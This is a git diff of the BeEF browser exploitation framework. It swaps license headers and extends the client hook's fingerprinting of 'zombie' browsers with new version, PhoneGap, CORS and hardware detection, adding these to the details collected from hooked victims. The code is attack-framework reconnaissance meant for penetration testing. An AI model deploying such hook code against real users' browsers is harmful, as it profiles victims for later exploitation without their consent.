-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
diff --git a/core/api/main/server/hook.rb b/core/api/main/server/hook.rb
index cb34f5244..b6229c46b 100644
--- a/core/api/main/server/hook.rb
+++ b/core/api/main/server/hook.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
diff --git a/core/api/module.rb b/core/api/module.rb
index 5bbfc344d..a699e915f 100644
--- a/core/api/module.rb
+++ b/core/api/module.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
diff --git a/core/api/modules.rb b/core/api/modules.rb
index 1ee8b1a38..22edb88e5 100644
--- a/core/api/modules.rb
+++ b/core/api/modules.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module API
diff --git a/core/bootstrap.rb b/core/bootstrap.rb
index 0ae748c22..4244f20db 100644
--- a/core/bootstrap.rb
+++ b/core/bootstrap.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -50,6 +40,7 @@ require 'core/hbmanager'
## @note Include RESTful API
require 'core/main/rest/handlers/hookedbrowsers'
require 'core/main/rest/handlers/modules'
+require 'core/main/rest/handlers/categories'
require 'core/main/rest/handlers/logs'
require 'core/main/rest/handlers/admin'
require 'core/main/rest/api'
diff --git a/core/core.rb b/core/core.rb
index dc554314b..2adf0c1cb 100644
--- a/core/core.rb
+++ b/core/core.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Core
@@ -34,6 +24,7 @@ require 'core/main/constants/browsers'
require 'core/main/constants/commandmodule'
require 'core/main/constants/distributedengine'
require 'core/main/constants/os'
+require 'core/main/constants/hardware'
# @note Include core modules for beef
require 'core/main/configuration'
diff --git a/core/extension.rb b/core/extension.rb
index 7b52fe344..3c7f8dd16 100644
--- a/core/extension.rb
+++ b/core/extension.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extension
diff --git a/core/extensions.rb b/core/extensions.rb
index f5f2026f2..5b0c0390c 100644
--- a/core/extensions.rb
+++ b/core/extensions.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Extensions
diff --git a/core/filters.rb b/core/filters.rb
index 1522bb250..be9eda17e 100644
--- a/core/filters.rb
+++ b/core/filters.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
diff --git a/core/filters/base.rb b/core/filters/base.rb
index 14492577b..8b932696a 100644
--- a/core/filters/base.rb
+++ b/core/filters/base.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
diff --git a/core/filters/browser.rb b/core/filters/browser.rb
index f955fb6f6..af1e3932c 100644
--- a/core/filters/browser.rb
+++ b/core/filters/browser.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
@@ -47,6 +37,16 @@ module Filters
true
end
+ # Check the Hardware name value - for example, 'iPhone'
+ # @param [String] str String for testing
+ # @return [Boolean] If the string has valid Hardware name characters
+ def self.is_valid_hwname?(str)
+ return false if not is_non_empty_string?(str)
+ return false if has_non_printable_char?(str)
+ return false if str.length < 2
+ true
+ end
+
# Verify the browser version string is valid
# @param [String] str String for testing
# @return [Boolean] If the string has valid browser version characters
diff --git a/core/filters/command.rb b/core/filters/command.rb
index dcb779a8b..fbff0b977 100644
--- a/core/filters/command.rb
+++ b/core/filters/command.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
diff --git a/core/filters/http.rb b/core/filters/http.rb
index 74e316d03..b34ee47d8 100644
--- a/core/filters/http.rb
+++ b/core/filters/http.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
diff --git a/core/filters/page.rb b/core/filters/page.rb
index b75852f18..354e10877 100644
--- a/core/filters/page.rb
+++ b/core/filters/page.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module Filters
diff --git a/core/hbmanager.rb b/core/hbmanager.rb
index cd5eb8bc0..caea676de 100644
--- a/core/hbmanager.rb
+++ b/core/hbmanager.rb
@@ -1,17 +1,7 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
module BeEF
module HBManager
diff --git a/core/loader.rb b/core/loader.rb
index 3ba04c62f..4a947536c 100644
--- a/core/loader.rb
+++ b/core/loader.rb
@@ -1,17 +1,8 @@
#
-# Copyright 2012 Wade Alcorn wade@bindshell.net
+# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+# Browser Exploitation Framework (BeEF) - http://beefproject.com
+# See the file 'doc/COPYING' for copying permission
#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
# @note Include here all the gems we are using
require 'rubygems'
diff --git a/core/main/client/are.js b/core/main/client/are.js
new file mode 100644
index 000000000..fbb6e53e3
--- /dev/null
+++ b/core/main/client/are.js
@@ -0,0 +1,16 @@
+//
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
+//
+
+beef.are = {
+ init:function(){
+ var Jools = require('jools');
+ this.ruleEngine = new Jools();
+ },
+ rules:[],
+ commands:[],
+ results:[]
+};
+beef.regCmp("beef.are");
\ No newline at end of file
diff --git a/core/main/client/beef.js b/core/main/client/beef.js
index b580c936c..41fab94a9 100644
--- a/core/main/client/beef.js
+++ b/core/main/client/beef.js
@@ -1,27 +1,16 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/*!
* BeEF JS Library <%= @beef_version %>
- * http://beef.googlecode.com/
+ * Register the BeEF JS on the window object.
*/
$j = jQuery.noConflict();
-//<%= @beef_hook_session_name %>='<%= @beef_hook_session_id %>';
-
if(typeof beef === 'undefined' && typeof window.beef === 'undefined') {
var BeefJS = {
diff --git a/core/main/client/browser.js b/core/main/client/browser.js
index 762072108..cb32204dc 100644
--- a/core/main/client/browser.js
+++ b/core/main/client/browser.js
@@ -1,18 +1,9 @@
//
-// Copyright 2012 Wade Alcorn wade@bindshell.net
-//
-// Licensed under the Apache License, Version 2.0 (the "License");
-// you may not use this file except in compliance with the License.
-// You may obtain a copy of the License at
-//
-// http://www.apache.org/licenses/LICENSE-2.0
-//
-// Unless required by applicable law or agreed to in writing, software
-// distributed under the License is distributed on an "AS IS" BASIS,
-// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-// See the License for the specific language governing permissions and
-// limitations under the License.
+// Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
+// Browser Exploitation Framework (BeEF) - http://beefproject.com
+// See the file 'doc/COPYING' for copying permission
//
+
/**
* @literal object: beef.browser
*
@@ -60,12 +51,22 @@ beef.browser = {
return !!window.XMLHttpRequest && !window.chrome && !window.opera && !!document.documentMode && !!window.XDomainRequest && !!window.performance;
},
+ /**
+ *
+ * Returns true if IE10.
+ * @example: beef.browser.isIE10()
+ */
+ // placeholder
+ isIE10: function() {
+ return false;
+ },
+
/**
* Returns true if IE.
* @example: beef.browser.isIE()
*/
isIE: function() {
- return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9();
+ return this.isIE6() || this.isIE7() || this.isIE8() || this.isIE9() || this.isIE10();
},
/**
@@ -180,12 +181,44 @@ beef.browser = {
return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/13\./) != null;
},
+ /**
+ * Returns true if FF14
+ * @example: beef.browser.isFF14()
+ */
+ isFF14: function() {
+ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/14\./) != null;
+ },
+
+ /**
+ * Returns true if FF15
+ * @example: beef.browser.isFF15()
+ */
+ isFF15: function() {
+ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/15\./) != null;
+ },
+
+ /**
+ * Returns true if FF16
+ * @example: beef.browser.isFF16()
+ */
+ isFF16: function() {
+ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/16\./) != null;
+ },
+
+ /**
+ * Returns true if FF17
+ * @example: beef.browser.isFF17()
+ */
+ isFF17: function() {
+ return !!window.history.replaceState && window.navigator.userAgent.match(/Firefox\/17\./) != null;
+ },
+
/**
* Returns true if FF.
* @example: beef.browser.isFF()
*/
isFF: function() {
- return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13();
+ return this.isFF2() || this.isFF3() || this.isFF3_5() || this.isFF3_6() || this.isFF4() || this.isFF5() || this.isFF6() || this.isFF7() || this.isFF8() || this.isFF9() || this.isFF10() || this.isFF11() || this.isFF12() || this.isFF13() || this.isFF14() || this.isFF15() || this.isFF16() || this.isFF17();
},
/**
@@ -193,7 +226,7 @@ beef.browser = {
* @example: beef.browser.isS4()
*/
isS4: function() {
- return (window.navigator.userAgent.match(/ Version\/4\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
+ return (window.navigator.userAgent.match(/ Version\/4\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
},
/**
@@ -201,7 +234,15 @@ beef.browser = {
* @example: beef.browser.isS5()
*/
isS5: function() {
- return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
+ return (window.navigator.userAgent.match(/ Version\/5\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
+ },
+
+ /**
+ * Returns true if Safari 6.xx
+ * @example: beef.browser.isS6()
+ */
+ isS6: function() {
+ return (window.navigator.userAgent.match(/ Version\/6\.\d/) != null && window.navigator.userAgent.match(/Safari\/\d/) != null && !window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome && !("MozWebSocket" in window));
},
/**
@@ -209,7 +250,7 @@ beef.browser = {
* @example: beef.browser.isS()
*/
isS: function() {
- return this.isS4() || this.isS5() || (!window.globalStorage && !!window.getComputedStyle && !window.opera && !window.chrome);
+ return this.isS4() || this.isS5() || this.isS6();
},
/**
@@ -332,12 +373,44 @@ beef.browser = {
return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==19)?true:false);
},
+ /**
+ * Returns true if Chrome 20.
+ * @example: beef.browser.isC20()
+ */
+ isC20: function() {
+ return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==20)?true:false);
+ },
+
+ /**
+ * Returns true if Chrome 21.
+ * @example: beef.browser.isC21()
+ */
+ isC21: function() {
+ return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==21)?true:false);
+ },
+
+ /**
+ * Returns true if Chrome 22.
+ * @example: beef.browser.isC22()
+ */
+ isC22: function() {
+ return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==22)?true:false);
+ },
+
+ /**
+ * Returns true if Chrome 23.
+ * @example: beef.browser.isC23()
+ */
+ isC23: function() {
+ return (!!window.chrome && !window.webkitPerformance) && ((parseInt(window.navigator.appVersion.match(/Chrome\/(\d+)\./)[1], 10)==23)?true:false);
+ },
+
/**
* Returns true if Chrome.
* @example: beef.browser.isC()
*/
isC: function() {
- return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19();
+ return this.isC5() || this.isC6() || this.isC7() || this.isC8() || this.isC9() || this.isC10() || this.isC11() || this.isC12() || this.isC13() || this.isC14() || this.isC15() || this.isC16()|| this.isC17() || this.isC18() || this.isC19() || this.isC20() || this.isC21() || this.isC22() || this.isC23();
},
/**
@@ -372,12 +445,20 @@ beef.browser = {
return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/11\./) != null));
},
+ /**
+ * Returns true if Opera 12.xx.
+ * @example: beef.browser.isO12()
+ */
+ isO12: function() {
+ return (!!window.opera && (window.navigator.userAgent.match(/Opera\/9\.80.*Version\/12\./) != null));
+ },
+
/**
* Returns true if Opera.
* @example: beef.browser.isO()
*/
isO: function() {
- return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11();
+ return this.isO9_52() || this.isO9_60() || this.isO10() || this.isO11() || this.isO12();
},
/**
@@ -401,9 +482,13 @@ beef.browser = {
C14: this.isC14(), // Chrome 14
C15: this.isC15(), // Chrome 15
C16: this.isC16(), // Chrome 16
- C17: this.isC17(), // Chrome 17
+ C17: this.isC17(), // Chrome 17
C18: this.isC18(), // Chrome 18
C19: this.isC19(), // Chrome 19
+ C20: this.isC20(), // Chrome 20
+ C21: this.isC21(), // Chrome 21
+ C22: this.isC22(), // Chrome 22
+ C23: this.isC23(), // Chrome 23
C: this.isC(), // Chrome any version
FF2: this.isFF2(), // Firefox 2
@@ -420,22 +505,29 @@ beef.browser = {
FF11: this.isFF11(), // Firefox 11
FF12: this.isFF12(), // Firefox 12
FF13: this.isFF13(), // Firefox 13
+ FF14: this.isFF14(), // Firefox 14
+ FF15: this.isFF15(), // Firefox 15
+ FF16: this.isFF16(), // Firefox 16
+ FF17: this.isFF17(), // Firefox 17
FF: this.isFF(), // Firefox any version
IE6: this.isIE6(), // Internet Explorer 6
IE7: this.isIE7(), // Internet Explorer 7
IE8: this.isIE8(), // Internet Explorer 8
IE9: this.isIE9(), // Internet Explorer 9
+ IE10: this.isIE10(), // Internet Explorer 10
IE: this.isIE(), // Internet Explorer any version
O9_52: this.isO9_52(), // Opera 9.50 through 9.52
O9_60: this.isO9_60(), // Opera 9.60 through 9.64
O10: this.isO10(), // Opera 10.xx
O11: this.isO11(), // Opera 11.xx
+ O12: this.isO12(), // Opera 11.xx
O: this.isO(), // Opera any version
S4: this.isS4(), // Safari 4.xx
S5: this.isS5(), // Safari 5.xx
+ S6: this.isS6(), // Safari 6.x
S: this.isS() // Safari any version
}
},
@@ -460,11 +552,15 @@ beef.browser = {
if (this.isC14()) { return '14' }; // Chrome 14
if (this.isC15()) { return '15' }; // Chrome 15
if (this.isC16()) { return '16' }; // Chrome 16
- if (this.isC17()) { return '17' }; // Chrome 17
- if (this.isC18()) { return '18' }; // Chrome 18
- if (this.isC19()) { return '19' }; // Chrome 19
+ if (this.isC17()) { return '17' }; // Chrome 17
+ if (this.isC18()) { return '18' }; // Chrome 18
+ if (this.isC19()) { return '19' }; // Chrome 19
+ if (this.isC20()) { return '20' }; // Chrome 20
+ if (this.isC21()) { return '21' }; // Chrome 21
+ if (this.isC22()) { return '22' }; // Chrome 22
+ if (this.isC23()) { return '23' }; // Chrome 23
- if (this.isFF2()) { return '2' }; // Firefox 2
+ if (this.isFF2()) { return '2' }; // Firefox 2
if (this.isFF3()) { return '3' }; // Firefox 3
if (this.isFF3_5()) { return '3.5'}; // Firefox 3.5
if (this.isFF3_6()) { return '3.6'}; // Firefox 3.6
@@ -478,19 +574,26 @@ beef.browser = {
if (this.isFF11()) { return '11' }; // Firefox 11
if (this.isFF12()) { return '12' }; // Firefox 12
if (this.isFF13()) { return '13' }; // Firefox 13
+ if (this.isFF14()) { return '14' }; // Firefox 14
+ if (this.isFF15()) { return '15' }; // Firefox 15
+ if (this.isFF16()) { return '16' }; // Firefox 16
+ if (this.isFF17()) { return '17' }; // Firefox 17
if (this.isIE6()) { return '6' }; // Internet Explorer 6
if (this.isIE7()) { return '7' }; // Internet Explorer 7
if (this.isIE8()) { return '8' }; // Internet Explorer 8
if (this.isIE9()) { return '9' }; // Internet Explorer 9
+ if (this.isIE10()) { return '10' }; // Internet Explorer 10
if (this.isS4()) { return '4' }; // Safari 4
if (this.isS5()) { return '5' }; // Safari 5
+ if (this.isS6()) { return '6' }; // Safari 5
if (this.isO9_52()) { return '9.5'}; // Opera 9.5x
if (this.isO9_60()) { return '9.6'}; // Opera 9.6
if (this.isO10()) { return '10' }; // Opera 10.xx
if (this.isO11()) { return '11' }; // Opera 11.xx
+ if (this.isO12()) { return '12' }; // Opera 12.xx
return 'UNKNOWN'; // Unknown UA
},
@@ -540,17 +643,45 @@ beef.browser = {
},
/**
- * Checks if the zombie has Java enabled.
+ * Checks if the zombie has Java enabled.
* @return: {Boolean} true or false.
- *
- * @example: if(beef.browser.javaEnabled()) { ... }
- */
+ *
+ * @example: if(beef.browser.javaEnabled()) { ... }
+ */
javaEnabled: function() {
return (!!window.navigator.javaEnabled());
},
+ /**
+ * Checks if the Phonegap API is available from the hooked domain.
+ * @return: {Boolean} true or false.
+ *
+ * @example: if(beef.browser.hasPhonegap()) { ... }
+ */
+ hasPhonegap: function() {
+ var result = false;
+ try { if (!!device.phonegap) result = true; else result = false; }
+ catch(e) { result = false; }
+ return result;
+ },
+
+ /**
+ * Checks if the browser supports CORS
+ * @return: {Boolean} true or false.
+ *
+ * @example: if(beef.browser.hasCors()) { ... }
+ */
+ hasCors: function() {
+ if ('withCredentials' in new XMLHttpRequest())
+ return true;
+ else if (typeof XDomainRequest !== "undefined")
+ return true;
+ else
+ return false;
+ },
+
/**
* Checks if the zombie has Java installed and enabled.
* @return: {Boolean} true or false.
@@ -564,7 +695,7 @@ beef.browser = {
return false;
}
- // This is a temporary fix as this does not work on Safari and Chrome
+ // This is a temporary fix as this does not work on Safari and Chrome
// Chrome requires manual user intervention even with unsigned applets.
// Safari requires a few seconds to load the applet.
if (beef.browser.isC() || beef.browser.isS()) {
@@ -586,7 +717,6 @@ beef.browser = {
} catch(e) {
return false;
}
- return false;
},
/**
@@ -765,6 +895,7 @@ beef.browser = {
var browser_plugins = beef.browser.getPlugins();
var date_stamp = new Date().toString();
var os_name = beef.os.getName();
+ var hw_name = beef.hardware.getName();
var system_platform = (typeof(navigator.platform) != "undefined" && navigator.platform != "") ? navigator.platform : null;
var browser_type = JSON.stringify(beef.browser.type(), function (key, value) {if (value == true) return value; else if (typeof value == 'object') return value; else return;});
var screen_size = beef.browser.getScreenSize();
@@ -772,6 +903,7 @@ beef.browser = {
var java_enabled = (beef.browser.javaEnabled())? "Yes" : "No";
var vbscript_enabled=(beef.browser.hasVBScript())? "Yes" : "No";
var has_flash = (beef.browser.hasFlash())? "Yes" : "No";
+ var has_phonegap = (beef.browser.hasPhonegap())? "Yes" : "No";
var has_googlegears=(beef.browser.hasGoogleGears())? "Yes":"No";
var has_web_socket=(beef.browser.hasWebSocket())? "Yes":"No";
var has_activex = (typeof(window.ActiveXObject) != "undefined") ? "Yes":"No";
@@ -789,6 +921,7 @@ beef.browser = {
if(hostport) details["HostPort"] = hostport;
if(browser_plugins) details["BrowserPlugins"] = browser_plugins;
if(os_name) details['OsName'] = os_name;
+ if(hw_name) details['Hardware'] = hw_name;
if(date_stamp) details['DateStamp'] = date_stamp;
if(system_platform) details['SystemPlatform'] = system_platform;
if(browser_type) details['BrowserType'] = browser_type;
@@ -797,6 +930,7 @@ beef.browser = {
if(java_enabled) details['JavaEnabled'] = java_enabled;
if(vbscript_enabled) details['VBScriptEnabled'] = vbscript_enabled
if(has_flash) details['HasFlash'] = has_flash
+ if(has_phonegap) details['HasPhonegap'] = has_phonegap
if(has_web_socket) details['HasWebSocket'] = has_web_socket
